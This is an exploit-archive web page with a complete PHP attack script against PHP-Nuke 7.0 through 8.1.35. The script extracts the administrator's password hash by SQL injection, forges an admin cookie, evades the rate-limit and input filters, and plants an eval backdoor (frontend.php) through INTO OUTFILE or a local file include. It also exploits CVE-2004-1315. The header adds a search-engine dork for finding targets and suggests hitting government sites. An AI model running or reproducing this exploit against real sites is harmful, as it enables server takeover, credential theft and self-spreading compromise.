Home / os / win7

PHP-Nuke 7.0/8.1/8.1.35 Wormable Remote Code Execution Affec

Posted on 04 May 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>PHP-Nuke 7.0/8.1/8.1.35 Wormable Remote Code Execution Affecting </title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>================================================================ PHP-Nuke 7.0/8.1/8.1.35 Wormable Remote Code Execution Affecting ================================================================ #!/usr/bin/php &lt;?php /******************************************************************************* Wormable Remote Code Execution in PHP-Nuke 7.0/8.1/8.1.35(newist as of release) Vendor's Website:http://phpnuke.org/ Secuirty Researcher: Michael Brooks (https://sitewat.ch) Google hack: &quot;Francisco Burzi&quot; &quot;Page Generation:&quot; Seconds inurl:modules.php 1,170,000 results add inurl:gov to the google hack if you want to make the news ;) Works with maigic_quotes_gpc=On or Off Works with AppArmor and Suhosin Hadend-PHP, tested on Ubuntu 9.04 and 10.04 My own LFI+SQLI attack is used to bypass AppArmor! Also tested XAMPP on Windows XP All tests where done with MySQL5 and PHP5 To obtain a user's cookie: 1) Register a normal account 2) Login 3) Type this into the same address bar and hit enter: javascript:document.cookie To set a cookie you can do use this: javascript:document.cookie=&quot;admin=MjphZG1pbjoyMTIzMmYyOTdhNTdhNWE3NDM4OTRhMGU0YTgwMWZjMzoxMDo6MDowOjA6MDpEZWVwQmx1ZTo0MDk2&quot; *******************************************************************************/ set_time_limit(0); //The blind_sql_injeciton calss is a general exploit framework that we are inheriting. class php_nuke_blind_sql_injection extends blind_sql_injection { //This is the blind sql injection request. function query($check){ //Rate limiter to bypass ipban.php's protection. //Must stay below 5 requests every 2 seconds. if(!($this-&gt;request_count%4)){ sleep(2); } //build the http request to Inject a query: //This is a simple get request with a custom referer //$this-&gt;set_referer(&quot;'=&quot;/*&quot; (select &quot;.$check.&quot; from nuke_authors limit 1))-- */&quot;); $this-&gt;set_referer(&quot;'=(select &quot;.$check.&quot; from nuke_authors limit 1))-- 1&quot;); /*example get and post request. *$this-&gt;set_get(&quot;id=1 or (select &quot;.$check.&quot; from nuke_authors limit 1))&quot;;//$_GET[id] *$this-&gt;set_post(&quot;id=1 or (select &quot;.$check.&quot; from nuke_authors limit 1))&quot;);//$_POST[id] */ } } //This is a very efficient blind sql injection class. class blind_sql_injection{ var $url, $backup_url, $result, $http, $request_count, $timeout; function blind_sql_injection($url,$timeout=10){ $this-&gt;request_count=0; $this-&gt;url=$url; $this-&gt;backup_url=$url; $this-&gt;http=new http_client(); $this-&gt;timeout=$timeout; } function set_get($get){ $this-&gt;url=$this-&gt;url.&quot;?&quot;.$get; } function set_referer($referer){ $this-&gt;http-&gt;referer=$referer; } function set_post($post){ $this-&gt;http-&gt;postdata=$post; } function test_target(){ return $this-&gt;send(&quot;if(true,sleep(&quot;.$this-&gt;timeout.&quot;),0)&quot;)&amp;&amp;!$this-&gt;send(&quot;if(false,sleep(&quot;.$this-&gt;timeout.&quot;),0)&quot;); } function num_to_hex($arr){ $ret=''; foreach($arr as $a){ if($a&lt;=9){ $ret.=$a; }else{ $ret.=chr(87+$a); } } return $ret; } //Looking for a string of length 32 and base 16 in ascii chars. function find_md5($column){ return $this-&gt;num_to_hex($this-&gt;bin_finder(16,32,&quot;conv(substring($column,%s,1),16,10)&quot;)); } function find_sha1($column){ return $this-&gt;num_to_hex($this-&gt;bin_finder(16,40,&quot;conv(substring($column,%s,1),16,10)&quot;)); } //Look for an ascii string of arbitrary length. function find_string($column){ $ret=''; //A length of zero means we are looking for a null byte terminated string. $result=$this-&gt;bin_finder(128,0,&quot;ascii(substring($column,%s,1))&quot;); foreach($result as $r){ $ret.=chr($r); } return $ret; } //query() is a method that generates the sql injection request function query($check){ //This function must be overridden. } function recheck($result,$question,$base){ $this-&gt;bin_finder($base,1,$question,$start); //Force a long timeout. $tmp_timeout=$this-&gt;timeout; if($this-&gt;timeout&lt;10){ $this-&gt;timeout=10; }else{ $this-&gt;timeout=$this-&gt;timeout*2; } $l=1; foreach($result as $r){ if($this-&gt;send(&quot;if(&quot;.sprintf($question,$l).&quot;!=&quot;.$r.&quot;,sleep(&quot;.$this-&gt;timeout.&quot;),0)&quot;)){ $result[]=$b; break; } $l++; } $this-&gt;timeout=$tmp_timeout; } function linear_finder($base,$length,$question){ for($l=1;$l&lt;=$length;$l++){ for($b=0;$b&lt;$base;$b++){ if($this-&gt;send(&quot;if(&quot;.sprintf($question,$l).&quot;=&quot;.$b.&quot;,sleep(&quot;.$this-&gt;timeout.&quot;),0)&quot;)){ $result[]=$b; break; } } } } #Binary search for mysql based sql injection. function bin_finder($base,$length,$question){ $start_pos=1; $result=''; for($cur=$start_pos;$cur&lt;=$length||$length==0;$cur++){ $n=$base-1; $low=0; $floor=$low; $high=$n-1; $pos= $low+(($high-$low)/2); $found=false; while($low&lt;=$high&amp;&amp;!$found){ #asking the sql database if the current value is greater than $pos if($this-&gt;send(&quot;if(greatest(&quot;.sprintf($question,$cur).&quot;,&quot;.$pos.&quot;)!=&quot;.$pos.&quot;,sleep(&quot;.$this-&gt;timeout.&quot;),0)&quot;)){ #if this is true then the value must be the modulus. if($pos==$n-1){ $result[]=$pos+1; $found=true; }else{ $low=$pos+1; } #asking the sql database if the current value is less than $pos }else if($this-&gt;send(&quot;if(least(&quot;.sprintf($question,$cur).&quot;,&quot;.$pos.&quot;)!=&quot;.$pos.&quot;,sleep(&quot;.$this-&gt;timeout.&quot;),0)&quot;)){ #if this is true the value must be zero, or in the case of ascii, a null byte. if($pos==$floor+1){ $found=true; #We have found the null terminator so we have finnished our search for a string. if($length==0){ $length=-1; }else{ $result[]=$pos-1; } }else{ $high=$pos-1; } }else{ #both greater than and less then where asked, so so then the answer is our guess $pos. $result[]=$pos; $found=true; } $pos=$low+(($high-$low)/2); } print(&quot;.&quot;); } return $result; } //Fire off the request function send($quesiton){ //build the injected query. $this-&gt;query($quesiton); $start=time(); $resp=$this-&gt;http-&gt;send($this-&gt;url); //backup_url is for set_get() $this-&gt;url=$this-&gt;backup_url; $this-&gt;request_count++; return (time()-$start&gt;=$this-&gt;timeout); } //retroGod RIP function charEncode($string){ $char=&quot;char(&quot;; $size=strlen($string); for($x=0;$x&lt;$size;$x++){ $char.=ord($string[$x]).&quot;,&quot;; } $char[strlen($char)-1]=&quot;)%00&quot;; return $char; } } //General purpose http client that works on a default php install. class http_client{ var $proxy_ip='', $proxy_port='', $proxy_name='', $proxy_pass='', $referer='',$cookie='',$postdata=''; function send($loc){ //overload function polymorphism between gets and posts $url=parse_url($loc); if(!isset($url['port'])){ $url['port']=80; } $ua='Firefox'; if($this-&gt;proxy_ip!=''&amp;&amp;$this-&gt;proxy_port!=''){ $fp = pfsockopen( $this-&gt;proxy_ip, $this-&gt;proxy_port, &amp;$errno, &amp;$errstr, 120 ); $url['path']=$url['host'].':'.$url['port'].$url['path']; }else{ $fp = fsockopen( $url['host'], $url['port'], &amp;$errno, &amp;$errstr, 120 ); } if( !$fp ) { print &quot;$errstr ($errno)&lt;br&gt; n&quot;; return false; } else { if( $this-&gt;postdata=='' ) { $request=&quot;GET &quot;.$url['path'].&quot;?&quot;.$url['query'].&quot; HTTP/1.1 &quot;; } else { $request=&quot;POST &quot;.$url['path'].&quot;?&quot;.$url['query'].&quot; HTTP/1.1 &quot;; } if($this-&gt;proxy_name!=''&amp;&amp;$this-&gt;proxy_pass!=''){ $request.=&quot;Proxy-Authorization: Basic &quot;.base64_encode($this-&gt;proxy_name.&quot;:&quot;.$this-&gt;proxy_pass).&quot; &quot;; } $request.=&quot;Host: &quot;.$url['host'].&quot;:&quot;.$url['port'].&quot; &quot;; $request.=&quot;User-Agent: &quot;.$ua.&quot; &quot;; $request.=&quot;Accept: text/plain &quot;; if($this-&gt;referer!=''){ $request.=&quot;Referer: &quot;.$this-&gt;referer.&quot; &quot;; } $request.=&quot;Connection: Close &quot;; if($this-&gt;cookie!=''){ $request.=&quot;Cookie: &quot;.$this-&gt;cookie.&quot; &quot; ; } if( $this-&gt;postdata!='' ) { $strlength = strlen( $this-&gt;postdata ); $request.=&quot;Content-type: application/x-www-form-urlencoded &quot; ; $request.=&quot;Content-length: &quot;.$strlength.&quot; &quot;; $request.=$this-&gt;postdata; } fputs( $fp, $request.&quot; &quot; ); while( !feof( $fp ) ) { $output .= fgets( $fp, 1024 ); } fclose( $fp ); //php_nuke only: if(strstr($output,&quot;too many page loads&quot;)){ print &quot;REQUEST CAP HIT! &quot;; print_r(debug_backtrace()); print &quot;REQUEST CAP HIT! &quot;; die(); } return $output; } } //Use a http proxy function proxy($proxy){ //user:pass@ip:port $proxyAuth=explode('@',$proxy); if(isset($proxyAuth[1])){ $login=explode(':',$proxyAuth[0]); $this-&gt;proxy_name=$login[0]; $this-&gt;proxy_pass=$login[1]; $addr=explode(':',$proxyAuth[1]); }else{ $addr=explode(':',$proxy); } $this-&gt;proxy_ip=$addr[0]; $this-&gt;proxy_port=$addr[1]; } //Parses the results from a PHP error to use as a path disclosure. function getPath($url,$pops=1){ $html=$this-&gt;send($url); //Regular error reporting: $resp=explode(&quot;array given in &lt;b&gt;&quot;,$html); if(isset($resp[1])){ $resp = explode(&quot;&lt;/b&gt;&quot;,$resp[1]); }else{ //xdebug's error reporting: $resp=explode(&quot;array given in &quot;,$html); if(isset($resp[1])){ $resp = explode(&quot; &quot;,$resp[1]); }else{ $resp[0]=false; } } $path=$resp[0]; //Can't use dirname() if(strstr($path,&quot;\&quot;)){ $p=explode(&quot;\&quot;,$path); for($x=0;$x&lt;$pops;$x++){ array_pop($p); } $path=implode(&quot;\&quot;,$p); }else{ $p=explode(&quot;/&quot;,$path); for($x=0;$x&lt;$pops;$x++){ array_pop($p); } $path=implode(&quot;/&quot;,$p); } return $path; } //Grab the server type from the http header. function getServer($url){ $resp=$this-&gt;send($url); $header=explode(&quot;Server: &quot;,$resp); $server=explode(&quot; &quot;,$header[1]); return $server[0]; } } function main(){ $user_input=getopt(&quot;t:c:a:&quot;); if($user_input['t']){ $attack_url=$user_input['t']; if($user_input['c']){ $user_cookie=$user_input['c']; } //This is only useful for debugging, so its not listed in the useage. if($user_input['a']){ $admin_cookie=$user_input['a']; } }else{ print(&quot;Useage: ./php_exploit -t http://localhost &quot;); die(&quot;A user's cookie is required for 8.1.35 : ./php_exploit -t http://localhost -c user=MjphZG1pbjo1ZjRkY2MzYjVhYTc2NWQ2MWQ4MzI3ZGViODgyY2Y5OToxMDo6MDowOjA6MDo6NDA5Ng== &quot;); } $attack_url=str_replace(&quot;index.php&quot;,&quot;&quot;,$attack_url); $http=new http_client(); $sex=new php_nuke_blind_sql_injection($attack_url.&quot;/&quot;); if(!$admin_cookie){ //This is what a cookie looks like: //2:user_name:21232f297a57a5a743894a0e4a801fc3:10::0:0:0:0:DeepBlue:4096 //$user_cookie=&quot;user=MjphZG1pbjoyMTIzMmYyOTdhNTdhNWE3NDM4OTRhMGU0YTgwMWZjMzoxMDo6MDowOjA6MDpEZWVwQmx1ZTo0MDk2&quot;; if($user_cookie){ print &quot;Using cookie... &quot;; $http-&gt;cookie=$user_cookie; //1337+30000 is used as a pivot in parsing, and to test for a sucessful injection. //This is NOT Blind SQL Injection, we will be reading the result. This attack works with magic_quotes_gpc on or off. $http-&gt;postdata=&quot;title=wow\&amp;bodytext=/*&amp;mood=&quot;.urlencode(&quot;'*/,0,0,1337+30000,(select aid from nuke_authors limit 1),0,(select pwd from nuke_authors limit 1),1337+30000)-- 1&quot;).&quot;&amp;status=no&amp;submit=Add+New+Entry&quot;; $response=$http-&gt;send($attack_url.&quot;/modules.php?name=Journal&amp;file=savenew&quot;); //This part of the exploit is a bit strange sorry for the mess, gotta realease! if(strstr($response,&quot;javascript:history.go(-1)&quot;)){ //magic_quotes_gpc=on $http-&gt;postdata=&quot;title=wow&amp;jbodytext=text&amp;mood=&quot;.urlencode(&quot;',1337+30000,(select aid from nuke_authors limit 1),0,(select pwd from nuke_authors limit 1),1337+30000)-- 1&quot;).&quot;&amp;status=no&amp;submit=Add+New+Entry&quot;; $response=$http-&gt;send($attack_url.&quot;/modules.php?name=Journal&amp;file=savenew&quot;); $http-&gt;postdata=''; //Find the primary key of the journal entry we just created. $jid=$http-&gt;send($attack_url.&quot;/modules.php?name=Journal&amp;file=edit&quot;); //we should have the single quote that we escaped at the end of wow' $jid=explode(&quot;&quot;&gt;wow&lt;&quot;,$jid); $jid=explode(&quot;jid=&quot;, $jid[0]); //Check the journal for the admin's username/password hash $response=$http-&gt;send($attack_url.&quot;/modules.php?name=Journal&amp;file=display&amp;jid=&quot;.$jid[1]); if(strpos($response,&quot;31337&quot;)){ list($junk,$aid,$pwd)=explode(&quot;31337 @ &quot;,$response); $aid=explode(&quot;&lt;&quot;,$aid); $pwd=explode(&quot;&lt;&quot;,$pwd); $user_name=$aid[0]; $pass_hash=$pwd[0]; }else{ //magic_quotes_gpc=off sleep(3); $http-&gt;postdata=&quot;title=wow\&amp;jbodytext=/*&amp;mood=1&amp;status=&quot;.urlencode(&quot;no',(select aid from nuke_authors limit 1),(select pwd from nuke_authors limit 1))-- 1&quot;).&quot;&amp;submit=Add+New+Entry&quot;; $response=$http-&gt;send($attack_url.&quot;/modules.php?name=Journal&amp;file=savenew&quot;); sleep(2); $jid=$http-&gt;send($attack_url.&quot;/modules.php?name=Journal&amp;file=edit&quot;); $jid=explode(&quot;&quot;&gt;wow&lt;&quot;,$jid); $jid=explode(&quot;jid=&quot;, $jid[0]); $jid=explode(&quot;&quot;&gt;&quot;,$jid[1]); //Check the journal for the admin's username/password hash $response=$http-&gt;send($attack_url.&quot;/modules.php?name=Journal&amp;file=display&amp;jid=&quot;.$jid[0]); $inj=explode(&quot;Last updated on &quot;,$response); $inj=explode(&quot; @ &quot;,$inj[1]); $pass_hash=$inj[0]; $inj=explode(&quot;&lt;&quot;,$inj[1]); $user_name=$inj[0]; } }else{ $http-&gt;postdata=''; //Find the primary key of the journal entry we just created. $jid=$http-&gt;send($attack_url.&quot;/modules.php?name=Journal&amp;file=edit&quot;); //we should have the single quote that we escaped at the end of wow' $jid=explode(&quot;&quot;&gt;wow',&lt;&quot;,$jid); $jid=explode(&quot;jid=&quot;, $jid[0]); //Check the journal for the admin's username/password hash $response=$http-&gt;send($attack_url.&quot;/modules.php?name=Journal&amp;file=display&amp;jid=&quot;.$jid[1]); if(!strpos($response,&quot;31337&quot;)){ die(&quot;target has patched! &quot;); }else{ print &quot;Target vulnerable to a privilege escalation attack!!! &quot;; list($junk,$aid,$pwd)=explode(&quot;31337 @ &quot;,$response); $aid=explode(&quot;&lt;&quot;,$aid); $pwd=explode(&quot;&lt;&quot;,$pwd); $user_name=$aid[0]; $pass_hash=$pwd[0]; } } }else{ $sex-&gt;sleep=&quot;sleep(5)&quot;; print &quot;Starting Attack Against:&quot;.$attack_url.&quot;/ &quot;; print &quot;Testing for blind sql injection... &quot;; if(!$sex-&gt;test_target()){ print(&quot;Target might be running 8.1.35 &quot;); print(&quot;Try the privilege esciation attack to upload the shell:&quot;); die(&quot;./php_exploit -t http://localhost -c user=MjphZG1pbjo1ZjRkY2MzYjVhYTc2NWQ2MWQ4MzI3ZGViODgyY2Y5OToxMDo6MDowOjA6MDo6NDA5Ng== &quot;); } print &quot;Target is vulnerable to blind sql injection!!! &quot;; print &quot;Please Standby For Attack... &quot;; $pass_hash=$sex-&gt;find_md5(&quot;pwd&quot;); $user_name=$sex-&gt;find_string(&quot;aid&quot;); print &quot;attacked used:&quot;.$sex-&gt;request_count.&quot; requests. &quot;; } print &quot;Found Admin's name:&quot;.$user_name.&quot; &quot;; print &quot;Found MD5 Password hash:&quot;.$pass_hash.&quot; &quot;; $admin_cookie=&quot;admin=&quot;.base64_encode($user_name.&quot;:&quot;.$pass_hash.&quot;:&quot;).&quot;;&quot;; } print &quot;Using Admin Session ID: &quot;.$admin_cookie.&quot; &quot;; $http-&gt;cookie=$admin_cookie; //ipban.php sleep(3); //This request will tell us what version of php-nuke it is. //If it is 8, Then the page gives us configuration information to perserve. $admin_options=$http-&gt;send($attack_url.&quot;/admin.php?op=general&quot;); if(!strstr($admin_options,&quot;Content-Length: 0&quot;)){ print &quot;PHP-Nuke 8 detected. &quot;; $option_values=explode(&quot;value='&quot;,$admin_options); $x=0; array_shift($option_values); //Parsing out and storing configuration values to restore them after the hack. foreach( $option_values as $value){ $value=explode(&quot;'&quot;,$value); $values[]=urlencode($value[0]); if($x++==4) break; } //ipban.php sleep(2); //Enable error reporting $http-&gt;postdata=&quot;xsitename=&quot;.$values[0].&quot;&amp;xnukeurl=&quot;.$values[1].&quot;&amp;xslogan=&quot;.$values[2].&quot;&amp;xstartdate=&quot;.$values[3].&quot;&amp;xadmingraphic=&quot;.$values[4].&quot;&amp;xgfx_chk=0&amp;xnuke_editor=1&amp;xdisplay_errors=1&amp;op=savegeneral&quot;; $error_reporting=$http-&gt;send($attack_url.&quot;/admin.php&quot;); //Path diclosure in add_pwd. We will trigger a warning by passing md5() the array add_pwd[]. $http-&gt;postdata=&quot;add_name=junk&amp;add_aid=junk&amp;add_email=junk&amp;add_url=junk&amp;add_admlanguage=&amp;auth_modules%5B%5D=23&amp;add_radminsuper=1&amp;add_pwd[]=junk&amp;op=AddAuthor&quot;; $remote_path=$http-&gt;getPath($attack_url.&quot;/admin.php&quot;,3); sleep(2); if(strstr($remote_path,':\')){ print &quot;Windows box detected. &quot;; print &quot;Remote path:$remote_path &quot;; print &quot;Uploading backdoor... &quot;; $remote_path=addslashes(addslashes($remote_path.&quot;\frontend.php&quot;)); $backdoor='get_magic_quotes_gpc()?eval(stripslashes($_GET[&quot;e&quot;])):eval($_GET[&quot;e&quot;])'; //Could have used a concat but php-nuke filters for it. This hides &lt;&gt; from the xss filter. //union/**/ bypasses the sql injection filter on line 414 in ./mainfile.php $http-&gt;postdata=&quot;chng_uid=&quot;.urlencode(&quot;' union/**/ select &quot;.$sex-&gt;charEncode(&quot;&lt;?php&quot;).&quot;,'&quot;.$backdoor.&quot;',&quot;.$sex-&gt;charEncode(&quot;?&gt;&quot;).&quot;,'','','','','','','','','','','','','','','' into outfile '&quot;.$remote_path.&quot;'-- 1&quot;); $re=$http-&gt;send($attack_url.&quot;/admin.php?op=modifyUser&quot;); //Disable error reporting $http-&gt;postdata=&quot;xsitename=&quot;.$values[0].&quot;&amp;xnukeurl=&quot;.$values[1].&quot;&amp;xslogan=&quot;.$values[2].&quot;&amp;xstartdate=&quot;.$values[3].&quot;&amp;xadmingraphic=&quot;.$values[4].&quot;&amp;xgfx_chk=0&amp;xnuke_editor=1&amp;xdisplay_errors=0&amp;op=savegeneral&quot;; $error_reporting=$http-&gt;send($attack_url.&quot;/admin.php&quot;); }else{ print &quot;*nix box detected. &quot;; print &quot;Remote path:$remote_path &quot;; //Is mysql on the same machine as the httpd? sleep(2); $http-&gt;postdata=&quot;chng_uid=&quot;.urlencode(&quot;' or 1=(select if(substring(load_file('&quot;.$remote_path.&quot;/index.php'),1,1)='&lt;',0,1))-- 1&quot;); $mysql_check=$http-&gt;send($attack_url.&quot;/admin.php?op=modifyUser&quot;); if(strstr($mysql_check,&quot;User Doesn't Exists!&quot;)){ print(&quot;MySQL isn't on the same machine or you do not have file privileges. &quot;); die(&quot;Remote code execution failed &quot;); } print &quot;Uploading backdoor... &quot;; //ipban.php sleep(2); //Grab the theme, this is needed to repair the database after the LFI $theme=$http-&gt;send($attack_url.&quot;/admin.php?op=themes&quot;); $theme=explode('src=&quot;themes/',$theme); $theme=explode('/images/',$theme[1]); //Repair the database after the LFI. $backdoor_installer='function OpenTable(){} function themeheader(){} $db-&gt;sql_query(&quot;update &quot;.$prefix.&quot;_config set Default_Theme='.$sex-&gt;charEncode($theme[0]).', display_errors=0&quot;);'; //This is a magic_quotes_gpc and mysql safe backdoor that fits on one line. $backdoor='get_magic_quotes_gpc()?eval(stripslashes(&quot;.chr(36).&quot;_GET[&quot;.chr(34).&quot;e&quot;.chr(34).&quot;])):eval(&quot;.chr(36).&quot;_GET[&quot;.chr(34).&quot;e&quot;.chr(34).&quot;])'; //Install the backdoor in a relitive directory. $backdoor_installer.='file_put_contents($_SERVER[&quot;DOCUMENT_ROOT&quot;].dirname($_SERVER[&quot;SCRIPT_NAME&quot;]).&quot;/frontend.php&quot;,chr(60).&quot;?php '.$backdoor.'?&quot;.chr(62));'; //charEncode is used to bypass XSS filters. //union/**/ bypasses the sql injection filter on line 414 in ./mainfile.php $http-&gt;postdata=&quot;chng_uid=&quot;.urlencode(&quot;' union/**/ select &quot;.$sex-&gt;charEncode(&quot;&lt;?php&quot;).&quot;,'&quot;.$backdoor_installer.&quot;',&quot;.$sex-&gt;charEncode(&quot;?&gt;&quot;).&quot;,'','','','','','','','','','','','','','','' into outfile '/tmp/theme.php'-- 1&quot;); $http-&gt;send($attack_url.&quot;/admin.php?op=modifyUser&quot;); sleep(2); //local file include vulnerablity to execute /tmp/theme.php $http-&gt;postdata=&quot;xDefault_Theme=../../../../../../../../../../../tmp&amp;xoverwrite_theme=0&amp;op=savethemes&quot;; $http-&gt;send($attack_url.&quot;/admin.php&quot;); sleep(2); $http-&gt;postdata=''; //Fire off a get request to trigger the uploaded php file using LFI $http-&gt;send($attack_url); sleep(2); //Try the LFI again, just in case. $http-&gt;send($attack_url.&quot;/admin.php&quot;); } sleep(2); //test if the backdoor works, try and clean up after the exploit. $test_backdoor=$http-&gt;send($attack_url.&quot;/frontend.php?e=&quot;.urlencode(&quot;echo 31337;unlink('/tmp/theme.php');system('rm /tmp/theme.php');&quot;)); if(strstr($test_backdoor,&quot;31337&quot;)){ print &quot;Remote Code execution tested successfully: &quot;.$attack_url.&quot;/frontend.php?e=phpinfo()&quot;.urlencode(';').&quot; &quot;; }else{ print &quot;Backdoor install failed! &quot;; } }else{ ////PHP-Nuke 7.0 Remote Code Execution Exploit using CVE-2004-1315 which affects the phpBB 2.0.6 module. print &quot;PHP-Nuke 7 detected. &quot;; $http-&gt;postdata=&quot;&quot;;//send get requests. //Fire off a check for CVE-2004-1315, phpbb maybe installed. //This is more like the oringal CVE-2004-1315: %2527.printf(20041315).%2527 //php-nuke was not vulnerable to this because of mainfile line 50: ([^&gt;]*&quot;?[^)]*) //to byapss this check double urlencode the parren () %2527.printf%252820041315%2529.%2527 $try_exploit=$http-&gt;send($attack_url.&quot;/modules.php?name=Forums&amp;file=viewtopic&amp;t=1&amp;highlight=%2527.printf%252820041315%2529.%2527&quot;); //if the exploit didn't work, then we might have to enable phpbb and populate it. if(!strstr($try_exploit,&quot;20041315&quot;)){ //Enalbe PHPBB $http-&gt;send($attack_url.&quot;/admin.php?op=module_status&amp;mid=22&amp;active=1&quot;); //create a new category for phpbb $http-&gt;postdata=&quot;mode=addcat&amp;categoryname=test&amp;addcategory=Create+new+category&quot;; $t=$http-&gt;send($attack_url.&quot;/modules/Forums/admin/admin_forums.php&quot;); //ipban.php sleep(2); //create a new form in the new category $http-&gt;postdata=&quot;forumname%5B1%5D=t&amp;addforum%5B1%5D=Create+new+forum&amp;categoryname=test&quot;; $t=$http-&gt;send($attack_url.&quot;/modules/Forums/admin/admin_forums.php?&quot;); $http-&gt;postdata=&quot;forumname=t&amp;forumdesc=t&amp;c=1&amp;forumstatus=0&amp;prune_days=7&amp;prune_freq=1&amp;mode=createforum&amp;f=&amp;submit=Create+new+forum&quot;; $http-&gt;send($attack_url.&quot;/modules/Forums/admin/admin_forums.php?&quot;); //create a new topic in the new form $http-&gt;postdata=&quot;username=t&amp;subject=t&amp;addbbcode18=%23444444&amp;addbbcode20=12&amp;helpbox=Insert+URL%3A+%5Burl%5Dhttp%3A%2F%2Furl%5B%2Furl%5D+or+%5Burl%3Dhttp%3A%2F%2Furl%5DURL+text%5B%2Furl%5D++%28alt%2Bw%29&amp;message=test&amp;mode=newtopic&amp;f=1&amp;post=Submit&quot;; $http-&gt;send($attack_url.&quot;/modules.php?name=Forums&amp;file=posting&quot;); //ipban.php sleep(2); //access the first topic. $http-&gt;postdata=&quot;&quot;; //Check to see if any of the first 10 topics are exploitable. for($t=1;$t&lt;10&amp;&amp;!strstr($try_exploit,&quot;20041315&quot;);$t++){ //Fire off a check for CVE-2004-1315. $try_exploit=$http-&gt;send($attack_url.&quot;/modules.php?name=Forums&amp;file=viewtopic&amp;t=&quot;.$t.&quot;&amp;highlight=%2527.printf%252820041315%2529.%2527&quot;); } } //Check if we where able to hit CVE-2004-1315. if(strstr($try_exploit,&quot;20041315&quot;)){ print(&quot;Remote Code execution tested successfully: &quot;.$attack_url.&quot;/modules.php?name=Forums&amp;file=viewtopic&amp;t=&quot;.--$t.&quot;&amp;highlight=%2527.phpinfo%2528%2529.%2527 This is a Doulbe urlencode() &quot;); }else{ print(&quot;Remote code execution has failed! &quot;); } } } main(); ?&gt; # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-04]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP